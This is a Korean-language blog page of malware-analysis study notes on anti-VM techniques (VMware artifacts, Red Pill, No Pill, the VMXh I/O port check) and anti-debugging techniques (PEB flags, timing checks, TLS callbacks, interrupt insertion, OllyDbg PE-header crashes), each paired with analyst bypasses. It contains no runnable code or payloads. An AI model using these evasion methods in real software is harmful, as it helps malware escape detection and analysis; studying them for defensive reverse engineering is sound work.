no image
Anti Virtual Machine
들어가기 전에멀웨어 코더들은 분석을 방해할 목적으로 안티 가상머신 기법을 사용한다. 이 기법을 이용해 악성코드가 가상머신 내에 실행 여부를 탐지할 수 있으며, 가상 머신을 탐지하면 악성코드는 원래와 다르게 실행하거나 전혀 실행하지 않는다. 여기서는 일반적으로 VMware를 대상으로 하는 안티 가상머신기법에 대하여 알아볼 것이다. VMware ArtifactsVMware환경은 시스템에 많은 흔적을 남기며, 특히 VMware Tools를 설치했을 경우 그렇다.악성코드는 파일 시스템이나 레지스트리, 프로세스 목록에 존재하는 흔적을 VMware를 탐지하는데 사용한다. 아래의 그림은 VMware를 설치해놓고 사용을 했던 나의 PC의 프로세스 목록이다. 확실히 많은 프로세스가 실행 중임을 알 수 있고, 이들 중 하..
2015.09.03
no image
Anti Debugging
Windows Debugger Detection악성코드는 자신이 디버거에 의해 동작되고 있다는 것을 알아내기 위한 방법으로 윈도우 API를 사용하는 방법과 디버깅하는 동안에 발견되는 특징을 찾기 위해 메모리 구조를 수동으로 검사하거나 디버거가 남기는 잔여물을 찾기 위해 시스템을 검색하는 등 다양한 기법을 사용한다. 디버거 탐지는 악성코드가 수행하는 안티디버깅 방법중 가장 일반적이다. Using the Windows API윈도우 API 함수 사용은 가장 명백한 안티 디버깅 기법이다. 윈도우 API는 프로그램 자신이 디버깅 중인지 확인할 수 있는 몇개의 함수를 제공한다. 이러한 함수 중 일부는 디버거 탐지를 위한 목적이지만, 다른 함수는 이와 다른 목적임에도 디버거를 탐지하는데 사용할 수 있다.전형적으로 안..
2015.09.03
no image
Anti disassembly
Understanding Anti Disassembly안티 디스어셈블리 구현 시 악성코드 제작자는 디스어셈블러를 속여 실제 실행과 다른 명령어들의 목록을 디스어셈블러에 보이게 일련의 과정을 생성한다. 안티 디스어셈블리 기법은 디스어셈블러의 가정과 제약 사항을 이용한다. 예를 들어 디스어셈블러는 한번에 명령어 하나로 프로그램의 각 바이트를 표현하지만 이러한 잘못된 오프셋에서 디스어셈블하게 교묘히 조작하면 유효한 명령을 화면에서 숨길 수 있다. 아래의 코드를 살펴보자. 이 코드는 IDA Pro로 확인했을 경우에 보이는 코드이다. 40100E의 위치에 있는 JZ 401011 명령어가 존재하고 있다. 하지만 디스어셈블러는 401010의 명령어를 보여주며 심지어 잘못된 주소를 호출하고자 하는 것을 확인할 수가 있..
2015.09.01
DLL Injection
2015.08.29
no image
데이터 인코딩
악성코드 분석 과정에서 데이터 인코딩이란 의도를 숨길 목적으로 내용을 수정하는 모든 형태를 말한다. 즉, 악성코드는 악의적인 행위를 숨기기 위해 인코딩 기법을 사용하므로, 악성코드 분석가로서 악성코드를 완전히 이해하기 위해 이런 기법들을 이해해야 한다. 인코딩 알고리즘 분석의 목적악성코드는 인코딩을 다양한 목적으로 사용하는데 일반적으로 네트워크 기반 통신의 암호화를 위해 사용한다. 악성코드는 내부 작업을 숨기기 위해서도 인코딩을 사용한다. 예를 들어 다음과 같은 목적으로 인코딩을 할 수 있다.- C&C 도메인 같은 설정을 숨기기 위하여- 정보를 훔치기 전에 임시 파일에 저장하기 위하여- 악성코드에서 사용하는 문자열을 저장하고 사용하기 전에 디코딩하기 위해- 악의적인 활동에 쓰이는 문자열을 숨김으로써 악성..
2015.08.26
no image
위장 악성코드 실행
Launchers실행기(Loader라고도 알려짐)는 현재의 실행이나 추후의 은밀한 실행을 위해 자신이나 다른 악성코드를 설정하는 악성코드의 유형을 말한다. 실행기의 목적은 악의적인 행위를 사용자에게 들키지 않게 설정하는 것이다. 실행기는 종종 로딩할 악성코드를 포함하며 일반적인 예가 Resource Section에 EXE나 DLL을 포함하는 경우가 있다.위의 그림에서 보는 것과 같이 실행 파일의 부분에 MZ로 시작하는 DOS Header를 확인할 수가 있다. 프로그램은 이와 같이 리소스 섹션에 악성코드를 자주 저장하며, 실행될 때 리소스 섹션에서 내장된 실행파일이나 DLL을 추출해 실행한다. 리소스 처리 API로는 FindResource, LoadReasource, SizeofResource 가 존재한다..
2015.08.24
no image
Malware Behavior ( 악성코드의 행위 특성 )
Downloaders and Launchers흔히 만날 수 있는 악성코드의 두 가지 유형은 다운로더와 실행기이다. 다운로더는 단순히 인터넷에서 악성코드의 다른 일부를 다운로드한 후 로컬 시스템에서 실행한다. 다운로더는 종종 exploit과 함께 세트를 이룬다. 다운로더는 일반적으로 새로운 악성코드를 다운로드하고 실행할 수 있는 WinExec 호출에 이어 윈도우 API인 URLDownloadtoFileA를 사용한다.실행기는 현재 실행이나 추후 실행을 은닉하기 위해 악성코드를 설치하는 특정 실행 파일이다. 실행기는 종종 로딩할 악성코드를 포함한다. Backdoor백도어는 공격자가 타겟에 원격 접속할 수 있게 도와주는 악성코드의 한 종류이다. 백도어는 종종 모든 기능을 구현하기도 함으로써 추가적인 악성코드 또..
2015.08.20
Code Virtualized - 코드 가상화 참고자료
2015.08.17

들어가기 전에


멀웨어 코더들은 분석을 방해할 목적으로 안티 가상머신 기법을 사용한다. 이 기법을 이용해 악성코드가 가상머신 내에 실행 여부를 탐지할 수 있으며, 가상 머신을 탐지하면 악성코드는 원래와 다르게 실행하거나 전혀 실행하지 않는다. 여기서는 일반적으로 VMware를 대상으로 하는 안티 가상머신기법에 대하여 알아볼 것이다.



VMware Artifacts


VMware환경은 시스템에 많은 흔적을 남기며, 특히 VMware Tools를 설치했을 경우 그렇다.악성코드는 파일 시스템이나 레지스트리, 프로세스 목록에 존재하는 흔적을 VMware를 탐지하는데 사용한다.

아래의 그림은 VMware를 설치해놓고 사용을 했던 나의 PC의 프로세스 목록이다. 확실히 많은 프로세스가 실행 중임을 알 수 있고, 이들 중 하나를 선택하여 악성코드는 프로세스 목록에서 VMwae와 관련된 문자열을 검색하는 방식으로 탐지가 가능하다.



프로세스 목록 뿐만 아니라 시스템에 설치한 서비스를 찾기 위해 레지스트리를 검색하거나 다음 명령어를 사용하여 서비스 목록에 위치한 VMware와 관련된 항목들을 나열할 수가 있고 이를 통하여 악성코드는 가상 머신의 여부를 확인할 수가 있다.

또한 가상머신은 다양한 방법으로 네트워크에 연결할 수 있는데, 이 모든 방시은 가상머신이 고유의 가상 네트워크 인터페이스 카드(NIC)를 가진다. VMware가 NIC를 가상화하려면 가상머신의 MAC 주소를 만들어야하며, 설정에 따라 네트워크 어댑터를 이용해 VMware 사용 여부도 확인할 수 있다.

MAC 주소의 처음 3 바이트는 일반적으로 업체를 명시하는데, VMware는 00:0C:29로 시작하는 MAC 주소를 할당한다(*하지만 내 PC에서 확인해본 결과 00-50-56으로 시작하였다. 일반적으로 버전마다 변한다.).



Bypassing VMware Artifact Searching

Vmware 흔적을 검색하는 악성코드 무력화는 일반적으로 간단히 검사확인과 패치 두 단계를 거친다. 예를 들어 아래의 그림을 보자. 악성코드가 프로세스 목록을 가져 온 뒤 Vmware와 관련이 있는 문자열 "VMwareTray.exe"를 가져온 후 strncmp 함수를 호출하여 악성코드가 가상 머신의 여부를 판단할 수가 있다.

이 탐지를 피하기 위해서는 4010A5에 있는 점프를 실행하지 않게 디버깅 도중에 바이너리를 패치하거나 해당 문자열을 수정하여 걸리지 않도록하는 등 회피 방법이 존재하고 있다.


Checking for Memory Artifacts

VMware는 가상화 프로세스의 결과로 메모리에 많은 흔적을 남긴다. 일부는 중요한 프로세서 구조인데, 가상머신에서 이를 이동하거나 변경해서 인지할 수 있는 흔적을 남기기 때문이다. 일반적으로 메모리 흔적을 탐지할 때 사용되는 기술은 물리적 메모리에서 문자열 VMware을 탐지하는 방식으로 발견한 흔적에서 수백개의 문자열을 탐지해 낼 수 있다.



Vulnerable Instructions


가상머신 모니터 프로그램은 가상머신의 실행을 모니터링한다. 이는 가상 플랫폼과 함께 게스트 운영체제를 나타낼 수 있게 호스트 운영체제 이ㅜ에서 동작한다. 이 역시 악성코드가 가상화를 탐지할 수 있는 일부 보안 취약점을 갖고 있다.

일부 x86 명령어는 하드웨어 기반 정보에 접근하지만 인터럽트를 생성하지 않는다. 그런 명령어에는 sidt, sgdt, sldt, cupid 등이 있다. 이 명령어를 적절히 가상화시키려면 VMware는 모든 명령어에서 바이너리 해석하는 과정이 필요한데, 이는 결과적으로 엄청난 성능 저하를 가져온다. 이러한 성능 저하를 막기 위해 VMware는 특정 명령어의 경우 제대로 가상화하지 않고 실행한다.


Using the Red Pill Anti-VM Technique

레드 필은 sidt 명령어를 실행해서 IDTR 레지스터 값을 얻는 안티 VM 기법이다. 가상 모니터는 게스트의 IDTR을 재배치해서 호스트의 IDTR과 충돌을 피해야한다. 가상머신 모니터는 가상머신이 sidt 명령어를 실행하는 시점을 알지 못하므로 가상머신의 IDTR을 반환한다. 레드 필은 이 불일치함을 테스트해서 VMware의 사용 여부를 탐지한다.

악성코드는 sidt 명령어를 이용해 EAX가 가리키는 메모리 위치로 IDTR 내용을 저장한다. IDTR은 6바이트이고 다섯번째 바이트 오프셋이 베이스 메모리 주소 시작점을 갖고 있다. 다섯 번째 바이트를 VVMware 시그니처인 0xFF와 비교한다.

이러한 레드 필은 단일 프로세서를 사용하는 장비에서만 성공한다. 그러므로 멀티프로세서 장비에서 실행하거나 sidt 명령어를 삭제하면 우회가 가능하다.


Using the No Pill Technique

VMware 탐지에 사용하는 sgdt와 sldt 명령어 기법은 주로 No Pill로 알려져있다. 레드필과는 다르게 LDT 구조체를 운영체제가 아닌 프로세서에 할당한다는 사실에 의존한다. 호스트 머신에서 LDT 위치는 0이고, 가상머신에서는 0이 아니다. sldt 방식은 가속 기능을 비활성화해서 VMware에서 사용하지 못하게 할 수 있다. 이를 위해 VM > Settings > Processors를 선택하고 Disable Acceleration 체크박스에 체크한다.


Querying the I/O Communication Port

현재 사용하는 가장 대중적인 안티VMware 기법은 I/O 통신 포트를 질의하는 방식일 것이다. Vmware는 가상 I/O 포트를 이용해 가상머신과 호스트 운영체제 사이에서 두 시스템 간의 복사와 붙여넣기 같은 기능을 지원한다. 포트를 질의하고 VMware 사용을 식별하는 매직넘버와 비교할 수 있다.

VMware는 명령어 사용을 모니터링하고 통신 채널 포트 0x5668(VX)로 목적지 I/O를 캡처한다. 따라서 두번째 오퍼랜드는 VMware를 확인할 목적으로 VX를 로드할 필요가 있으며, EAX 레지스터는 매직 넘버인 0x564D5868(VMXh)을 로드한다.

우선 악성코드는 매직 넘버인 0x564D5868을 1의 EAX 레지스터로 로드한다. 그 후 ECX는 0xA 값을 로드해서 VMware 버전 유형을 알아낸다. 2에서는 해당 값을 통해 VMware I/O 통신 포트를 지정하는 in 명령어에 사용한다. 실행시 in 명령어는 가상머신이 트랩해서 실행을 에뮬레이션한다. 3에서 코드가 가상 머신 동작 여부를 확인한다.

이 기법을 우회하는 가장 간단한 방법은 in 명령어를 NOP 처리하거나 조건부 점프를 패치해서 비교 결과와 상관없이 점프하는 방식이다.


Using the str Instruction

str 명령어는 실행중인 TSS(Task State Segment)를 가리킨다. 악성코드 제작자는 str 명령어가 가상머신과 실제 시스템이 다른 값을 반환한다는 사실을 이용해 이 명령어로 가상머신 존재여부를 탐지한다.


Anti-VM x86 Instructions

지금까지 안티 VM 기법에 이용하는 악성코드의 가장 일반적인 명령어를 살펴봤다. 이 명령어에는 다음과 같은 것들이 있다.

-sidt    -sgdt    -sldt    -smsw    -str    -in    -cpuid

악성코드는 전형적으로 VMware 탐지를 수행하지 않는 경우 이 명령어를 실행하지 않으며, 탐지 우회는 역시 이 명령어 호출을 피하는 바이너리로 패치만 하면 되므로 간단하다. 이 명령어는 기본적으로 사용자 모드에서 실행할 경우 무의미하므로 이 명령어가 보이면 안티 VMware 코드의 일부일 가능성이 있음을 알 수 있다.


요약


- 프로세스 목록    - 서비스와 레지스트리    - MAC 주소

- sidt, sgdt, sldt, cpuid    - in 통신포트 VMxh, VX, 0x5668, 0x564D5868    - str 명령어



'Reversing > Theory' 카테고리의 다른 글

Packer  (0) 2015.09.05
Contents of the TIB (32-bit Windows)  (0) 2015.09.04
Anti Debugging  (0) 2015.09.03
Anti disassembly  (0) 2015.09.01
DLL Injection  (0) 2015.08.29

Anti Debugging

Kail-KM
|2015. 9. 3. 03:32

Windows Debugger Detection


악성코드는 자신이 디버거에 의해 동작되고 있다는 것을 알아내기 위한 방법으로 윈도우 API를 사용하는 방법과 디버깅하는 동안에 발견되는 특징을 찾기 위해 메모리 구조를 수동으로 검사하거나 디버거가 남기는 잔여물을 찾기 위해 시스템을 검색하는 등 다양한 기법을 사용한다. 디버거 탐지는 악성코드가 수행하는 안티디버깅 방법중 가장 일반적이다.


Using the Windows API

윈도우 API 함수 사용은 가장 명백한 안티 디버깅 기법이다. 윈도우 API는 프로그램 자신이 디버깅 중인지 확인할 수 있는 몇개의 함수를 제공한다. 이러한 함수 중 일부는 디버거 탐지를 위한 목적이지만, 다른 함수는 이와 다른 목적임에도 디버거를 탐지하는데 사용할 수 있다.

전형적으로 안티디버깅 API 함수 호출을 막기 위한 가장 쉬운방법은 실행중에 안티디버깅 API 함수들을 호출하지 않게 악성코드를 수동으로 조작하거나 올바른 경로를 취했는지 보장하기 위해 호출되는 플래그를 사전에 수정하는 방식이다. 다음과 같은 윈도우 API 함수들은 안티디버깅으로 사용할 수 있다.


· IsDebuggerPresent

디버거를 탐지하는 가장 간다한 API 함수는 IsDebuggerPresent다. 이 함수는 PEB 구조에서 IsDebugged 필드를 찾아 디버거 환경에서 동작 중이 아니라면 0을 반환하고, 디버거 환경에서 동작하고 있다면 0이 아닌 값을 반환한다.

*PEB는 FS 레지스터를 통해 접근이 가능하며 TEB의 0x30 이 PEB를 기리킨다. 따라서 FS:[0x30] 이라 되어있으면 PEB를 가리키고있다는 것이다.

· CheckRemoteDebuggerPresent

이 함수는 위의 함수와 거의 동일하며 이 함수 또한 PEB 구조에 있는 IsDebugged 필드를 확인하지만, 자기 자신이나 로컬 컴퓨터의 다른 프로세스에 대해서만 검사할 수 있다. 이 함수는 파라미터로 프로세스 핸들을 받아 프로세스가 디버거 환경에서 구동 여부를 확인한다. 단순히 CheckRemoteDebuggerPresent는 프로세스에 핸들을 저날해 프로세스를 확인하는데 사용한다.

· tQueryInformationProcess

이 함수는 주어진 프로세스에 관한 정보를 검색할 수 있는 Ntdll.dll 내의 네이티브 API 함수이다. 첫번째 파라미터는 프로세스 핸들이고, 두번째는 검색하고자 하는 프로세스 정보의 타입을 함수에 알려주는데 사용한다. 두번째 파라미터가 ProcessDebugPort(0x7)의 값이라면 첫번째 파라미터에 해당하는 프로세스가 지금 디버깅 중인지를 알려준다. 프로세스가 디버깅 중이 아니라면 0을 반환할 것이고, 그렇지 않다면 디버거 포트 번호를 반환할 것이다.

· OutputDebugString

이 함수는 디버거에 출력할 문자열을 전달하는데 사용되는데 이를 디버거의 존재를 탐지하기 위해 사용할 수 있다. 아래의 코드를 보면 SetLastError를 이용해 현재 에러코드를 임의의 값을 설정한다. OutputDebugString을 호출할때 디버거에 붙어있지 않아 실패할 경우 이 함수는 에러코드를 설정하므로 GetLastError 함수는 더 이상 임의의 값을 갖지 않는다. 하지만 디버거환경에서 OutputDebugString 함수를 호출하면 OuputDebugString 함수는 성공하고 GetLastError 함수 값은 변하지 않는다.


Manually Checking Structures

윈도우 API 사용이 디버거의 존재를 탐지하는 가장 명확한 방법이지만, 악성코드 제작자는 가장 일반적으로 구조체를 수동으로 검사하는 방식을 사용한다. 수동 검사를 수행함에 있어 PEB 구조체 안에 있는 일부 플래그에서 디버거의 존재에 관한 정보를 제공한다. 이에 대하여 알아보자.

· BeingDebugged 플래그 검사

아래의 그림과 같이 운영체제는 실행 중인 각 프로세스에 대해 윈도우 PEB 구조체를 관리한다. 프로세스와 관련한 모든 사용자 모드 파라미터를 갖고 있다. 이 파라미터는 환경 변수 값, 로드된 모듈 목록, 메모리 주소, 그리고 디버거 상태같은 프로세스의 환경 데이터를 포함한다.

프로세스 실행 중에 PEB 위치는 FS:[0x30]에서 참조할 수 있다. 악성코드는 안티디버깅을 수행하기 위해 특정 프로세스의 디버깅 여부를 알려주는 BeingDebugged 플래그 값을 확인하는 위치를 사용한다. 아래의 그림은 해당 검사를 수행하는 두가지 예이다.

좌측의 코드는 PEB 위치를 EAX 로 이동시키고 이 오프셋에 2를 더하여 EBX로 이동시키는데 바로 이 위치가 BeingDebugged 플래그 위치의 PEB 오프셋에 해당한다. 그 후 EBX가 0인지를 확인하는 것으로 EBX가 0이면, 즉 디버거가 동작하고 있지 않다면 디버거가 발견되지 않았음을 알고 NoDebuggerDetected로 이동한다. 우측의 코드는 push와 pop 명령어를 조합해 PEB 위치를 EDX로 이동한 후 EDX에서 오프셋 2에 있는 BeingDebugged 플래그를 1과 직접 비교한다. 

이 확인 과정은 다양한 형태를 취할 수 있지만, 궁극적으로 조건부 점프가 코드 경로를 결정한다. 이 문제를 해결하려면 다음과 같은 처리 방법 중 하나를 선택할 수 있다.

- 점프 명령어가 실행하기 직전에 ZF를 직접 수정해 점프를 취하거나 취하지 않게 강제한다.

- BeingDebugged 플래그를 직접 0으로 변경한다.


· ProcessHeap 플래그 검사

로더는 ProcessHeap으로 알려진 Reverse4 배열 내에 문서화하지 않은 위치를 할당된 프로세스의 첫번째 힙의 위치로 설정한다. ProcessHeap은 PEB 구조체의 0x18에 위치한다. 첫번째 힙은 디버거 내에서 힙의 생성 여부를 커널에게 알려주는 필드가 있는 헤더를 포함한다.

* 윈도우 버전에 따라 다른 오프셋에 위치할 수 있으며 값 또한 다르게 설정되어 있다.

이 기법을 극복하는 가장 좋은 방법은 ProcessHeap 플래그를 수동으로 변경하거나 사용하는 디버거의 플러그인을 사용하는 것이다.


· NTGlobalFlag 검사

프로세스를 디버거에서 시작할 때 약간 다르게 동작하므로 메모리 힙을 다르게 메모리 힙을 다르게 생성한다. 힙 구조체 생성을 결정할 때 사용하는 시스템 정보는 PEB의 0x68 오프셋에 있는 문서화하지 않은 위치에 저장된다. 이 위치의 값이 0x70 이라면 프로세스가 디버거에서 동작중이라는 사실을 알 수 있다.

0x70의 값은 디버거가 힙을 생성할 때 다음과 같은 플래그를 조합한다. 프로세스를 디버거 내에서 실행하면 프로세스는 이 플래그를 설정한다. 아래의 그림은 이 값을 확인하는 어셈블리 코드이다.

이 기법을 우회하는 가장 쉬운 방법은 수동으로 해당 플래그를 변경하거나 사용중인 디버거의 플러그인을 사용하는 방식이다.


Checking for System Residue

악성코드를 분석할 때 디버깅 도구를 사용하는데, 일반적으로 시스템에 흔적을 남긴다. 악성코드는 자신이 분석 중인지 여부를 확인하기 위해 디버거를 참조하는 레지스트리를 검색하는 방식으로 그 흔적을 찾을 수 있다. 아래 레지스트리 경로는 디버거가 사용하는 일반적인 위치다.

이 레지스트리 키는 애플리케이션에 에러가 발생할 때 활성화할 디버거를 지정한다. 기본적으로 Dr.Watson을 설정하지만 OllyDbg같은 디버거로 변경했다면 악성코드는 분석 중이라고 판단한다. 아래는 내 PC의 지정되어 있는 디버거가 vsjitdebugger.exe로 지정되어있는 것을 확인할 수가 있다.

악성코드를 분석하는 동안 악성코드는 일반적인 디버거 프로그램 실행 파일과 같은 시스템 파일과 폴더를 검색할 수도 있다. 또는 악성코드는 동작 중인 메모리에서 현재 프로세스 목록을 보거나 더 일반적으로 아래와 같이 FindWindow 함수를 통해 디버거 검색을 수행하는 등 흔적을 탐지한다.





Identifying Debugger Behavior


악성코드 분석가가 리버싱을 하기 위해 디버거는 BP를 설정하거나 프로세스를 단계별로 실행할 수 있다. 하지만 디버거에서 이런 작업을 수행할 때 프로세스 내의 코드를 수정한다. 일부 안티 디버깅 기법은 악성코드가 INT 스캐닝, 체크섬 검사, 시간 검사 같은 형태의 디버거 동작을 탐지하는데 사용한다.


INT Scanning

INT 3은 디버거가 사용하는 소프트웨어 인터럽트로 동작하는 프로그램 명령어를 INT 3로 임시 변경해 디버거 예외 핸들러를 호출하는데, 이는 BP를 설정하는 기본 메커니즘이다. INT 3의 OPCODE는 0xCC이다. 다시 말해 디버거를 이용해 브레이크 포인트를 설정할 때마다 디버거는 0xCC를 삽입함으로써 브레이크 포인트를 삽입해서 코드를 변경한다.

특정 INT 3 명령어뿐만 아니라 INT immediate는 3을 포함해 임의의 인터럽트를 설정할 수 있다. 1바이트인 INT 3과는 다르게 이는 0xCD 0xValue 와 같이 2바이트로 사용한다. 일반적인 안티 디버깅기법은 아래와 같이 0xCC 옵코드를 검색해서 자신의 코드를 INT 3으로 변경했는지 프로세스를 스캔하는 방식이다.

호출 명령어로 시작한 코드 다음 pop 명령어가 EIP를 EDI로 저장한다. 그러면 EDI는 다음 코드의 시작으로 조정된다. 그 코드는 0xCC 바이트를 검색한다. 0xCC 바이트를 발견하면 디버거가 존재한다는 사실을 알게된다. 이 기법은 소프트웨어 BP 대신 HardWare BP를 설정해 우회할 수 있다.


Performing Code Checksums

인터럽트 스캔과 동일한 목적으로 악성코드는 코드 섹션의 Checksum을 계산할 수 있다. 이는 0xCC를 검색하는 대신 간단히 순환 중복 검사(CRC)나 악성코드 OPCode MD5 체크섬을 계산한다. 이 기법 또한 하드웨어 BP를 설정해 우회하거나 디버거에서 실행 경로를 수동으로 변경해 우회할 수 있다. 아래의 사진은 ADD를 통하여 명령어들의 OPcode의 합을 계산하여 CMP를 통해 비교 후 분기 하는 것을 확인할 수가 있다.


Timing Checks

프로세스를 디버깅할 때는 그렇지 않을 때보다 훨씬 느려지기 때문에 timeing checks 방식은 악성코드가 디버거를 탐지할 때 사용하는 가장 대중적인 방법 중 하나다. 디버거 탐지에 사용하는 시간 검사에는 다음과 같은 몇가지 방식이 있다.

- 몇가지 동작 수행에 대해 타임스탬프를 기록한 후 다른 타임스탬프를 가져와 두개의 타임스탬프를 비교한다. 지연차가 있다면 디버거가 존재한다고 가정할 수 있다.

- 예외가 발생하기 전후의 타임스탬프를 가져온다. 프로세스가 디버그 중이 아니라면 신속하게 예외를 처리하지만, 디버거가 예외를 처리하는 경우 훨씬 느려질 것이다. 기본적으로 대다수 디버거는 예외 처리에 사람이 개입하게 해서 상당한 지연을 발생시킨다. 많은 디버거는 이를 위해 예외를 무시하거나 그냥 지나치게할 수 있는 기능을 제공하지만 이런 경우에도 꽤 긴 지연이 발생한다.


· rdtsc 명령어 사용

가장 일반적인 시간 검사 방법은 rdtsc 명령어(OPCode:0x0F31)를 사용한다. rdtsc 명령어는 가장 최근에 시스템이 리부팅한 이후 흐른 시간 값을 저장한 64 비트를 반환한다. 악성코드는 간단히 이 명령어를 두 번 실행하고 두 값을 비교한다.

위의 그림을 보면 rdtsc를 호출하여 값을 ecx에 저장하고 다시 한번 호출하여 두 값을 비교하는 것을 볼 수가 있다. 만약 그 값의 차가 크지 않을 경우 디버거에게 탐지되지 않았을 때의 명령어를 수행하게 되며 만약 값의 차가 특정한 정도를 넘으면 다시 한번 rdtsc를 호출하여 이 임의의 주소로 ret하게 되는 것을 확인할 수가 있다.

· QueryPerformanceCounter와 GetTickCount 사용

두개의 윈도우 API 함수는 rdtsc와 같이 시간차를 통해 안티디버깅을 수행한다. QueryPerformanceCounter는 비교에 사용할 시간차를 가져올 때 카운터 질의를 두번 호출 한다. 두 호출 사이의 시간차가 너무 크다면 디버거를 사용중이라고 할 수 있다. GetTickCount 함수는 마지막으로 시스템을 재부팅한 이후 경과 시간을 밀리초 단위의 숫자로 반환한다. 아래는 GetTickCounter의 사용 방식이다.

앞서 언급한 모든 시간차 공격은 디버깅 중이나 함수를 두번 연속 호출한 후 비교하는 형태를 식별해서 정적 분석하는 도중에 발견할 수가 있다. 이 방식은 시간차 확인에 사용한 두 호출 중간에 BP를 설정하거나 단계별로 실행했을 때만 디버거에서 찾아낼 수 있다. 그러므로 시간차 탐지를 회피할 수 있는 가장 쉬운 방법은 이런 확인을 그냥 실행한 후 BP를 설정하고 다시 단계별로 디버깅한다.





Interfering with Debugger Functionality


악성코드는 일반 디버거 동작을 방해하는 TLS Callback, 예외 처리, 인터럽트 삽입 같은 여러가지 기법을 사용할 수가 있다. 이 기법은 디버거 통제하에서 프로그램 실행 무력화를 시도하는 방식으로 진행이 된다.


Using TLS Callback

일반적으로 대다수 디버거는 PE 헤더에서 정의한 프로그램 진입점에서 시작한다. 그러나 TLS(Thread Local Storage) CallBack은 진입점에서 실행하기 전에 코드를 실행할 때 사용할 수 있으므로 디버거 몰래 실행할 수 있다. 결국 디버거 사용에만 의존한다면 디버거 내에서 로드하자마자 TLS callback을 실행하므로 악성코드 기능을 놓칠 수 있다.

TLS는 데이터 객체가 자동 스택 변수가 아닌 윈도우 저장 클래스지만, 코드를 실행하는 각 스레드는 지역변수다. 기본적으로 TLS를 통해 각 스레드가 선언한 변수에 다른 값을 유지할 수 있다. 실행 파일에서 TLS를 구현할 때 일반적으로 아래의 그림과 같이 .tls 섹션에 위치해 있는 것을 확인할 수 있다. 윈도우는 정상적인 프로그램 코드 실행 전에 TLS CallBack 함수를 실행한다.


일반적인 프로그램들은 .tls 섹션을 사용하지 않기 때문에 .tls 섹션을 발견할 경우 가장 먼저 안티디버깅을 의심해야 한다. 위회의 방법으로는 OllyDbg의 경우 디버깅 옵션에서 Event 항목을 보면 Make first pause at: 이 존재하는 것을 확인할 수가 있다. 여기서 우린 System breakpoint로 설정을 해주면 TLS Callback이 실행되지 않고 그 전에 멈추므로 분석이 가능해진다.


Using Exceptions

예외 처리는 디버거를 방해하거나 탐지하는데 사용할 수 있다. 대다수 예외 기반 탐지 방식은 디버거가 예외 상황 발생후의 처리를 위해 디버깅중인 프로세스에게 즉각적으로 전달하지 못한다는 사실에 기반을 둔다. 대부분 디버거의 기본설정은 예외를 처리하기 위해 예외를 프로그램에 전달하지 않게 설정한다. 디버거가 즉각적으로 프로세스에게 예외를 전달하지 않는다면 프로세스 예외 처리 메커니즘이 해당 오류를 탐지할 수 있다. 

* SEH는 FS : [0x0]에서 참고한다.


Inserting Interrupts

안티디버깅의 전형적인 형태는 예외를 발생시켜 분석가를 귀찮게 하거나 유효한 명령어 중간에 인터럽트를 삽입해서 정상적인 프로그램 실행을 방해한다. 디버거 설정에 따라 다르겠지만, 인터럽트 삽입은 디버거가 자체적인 소프트웨어 BP 설정과 동일한 메커니즘이기 때문에 이를 통해 디버거를 중단시킬 수 있다.

· INT 3 삽입

디버거는 INT 3을 이용해 소프트웨어 BP를 설정하므로 디버거가 해당 OPcode를 BP라 생각하게 유효한 코드 섹션에 0xCC OPcoe를 삽입하는 방식으로 안티디버깅을 구성한다. 2 바이트 옵코드 0xCD03 시퀀스 또한 INT 3 생성에 사용한다. 이는 WinDBG를 방해할 목적으로 악성코드가 자주 사용하는 유효한 방식이다. 디버거 외부에서 0xCD03은 STATUS_BREAKPOINT 예외를 발생시킨다. 그러나 WinDBG 내부에서 일반적으로 BP는 OPcode가 0xCC이므로 BP가 걸리면 그냥 EIP를 정확히 1바이트 증가시킨다. 이는 WinDG로 프로그램을 디버깅 중일때와 정상적으로 실행할 때 서로 다른 명령어 집합을 실행하게 한다.

· INT 2D 삽입

INT 2D 안티 디버깅 기법은 INT 3과 동일한 기능을 하며, INT 0x2D 명령어는 커널 디버거 접근에 사용한다. INT 0x2D는 커널 디버거가 BP를 설정하는 방식이다.

· ICE 삽입

Intel에서 문서화하지 않은 명령어 중 하나로 ICE(In-Circuit Emulator) BP인 icebp(OPcode:0xF1)가 있다. ICE를 이용해 임의의 BP를 설정하는 것이 어렵기 때문에 ICE에서 디버깅이 용이하게 icebp를 설계했다. icebp 명령어를 실행하면 싱글 스텝 예외가 발생한다. 싱글 스텝을 통해 프로그램을 추적하는 경우 디버거는 싱글 스텝이 생성한 일반적인 예외라고 여기고 이전에 설정한 예외처리를 실행하지 않는다. 악성코드는 정상적인 실행 흐름을 위해 예외 핸들러를 이용해서 이를 악용할 수 있는데, 이 경우 문제가 발생할 수 있다. 이런 기법을 우회하려면 icebp 명령어 실행 시 싱글 스텝을 사용하지 않으면 된다.



Debugger Vulnerabilities


모든 소프트웨어와 같이 디버거 자체에도 취약점을 갖고 있으므로 때때로 악성코드 제작자는 디버깅을 방지할 목적으로 이 취약점을 공격한다. OllyDbg가 PE 포맷을 처리하는 방식에서 잘 알려진 일부 취약점을 소개한다.

PE 헤더 취약점

이 기법은 OllyDBG가 실행 파일을 로드할 때 크래시되게 MS의 실행 가능 바이너리의 PE 헤더를 변조하는 방식이다. 이는 Ollydbg가 PE 헤더와 관련된 사항을 지나치게 엄격하게 따르는데 있다. IMAGE_OPTIONAL_HEADER로 알려진 전형적인 구조가 있다. 아래의 그림을 보자.

이 구조체에서 마지막 일부 요소를 주목해보자. NumberOfRvaAndSizes 필드는 바로 뒤따라오는 DataDirectory 배열의 Entry 개수를 나타낸다. DataDirectory 배열은 파일에서 다른 중요한 실행 요소를 찾기 위한 장소를 가리키고 있다. 하지만 위의 그림에선 이 수를 0x99로 설정하므로 존재하는 16개의 수를 넘는다. OllyDBG는 표준을 따르고 있기 떄문에 반드시 NumberOfRcaAndSizes를 사용한다. 결론적으로 0x99와 같이 0x10 보다 많은 값으로 배열의 크기를 설정했다면 OllyDBG는 실행전에 사용자에게 팝업 윈도우를 생성한다.

이 기법을 가장 쉽게 우회하는 방법은 해당 값을 수정하거나 OllyDBG 2.0 을 사용하는 것이다. 위의 취약점은 ollydbg 1.0에 해당하는 것이다.


섹션 헤더에 관련된 또 다른 PE 헤더 문제점은 OllyDbg가 로드하는 동안 'File contains too much data' 라는 에러와 함께 크래시된다. 각 섹션에는 코드, 데이터, 리소스와 기타 파일 정보가 담겨있다. 각 섹션은 IMAGE_SECTION_HEADER 구조체 형식으로 헤더를 갖고 있다. 위 그림이 이 구조체의 일부이다.

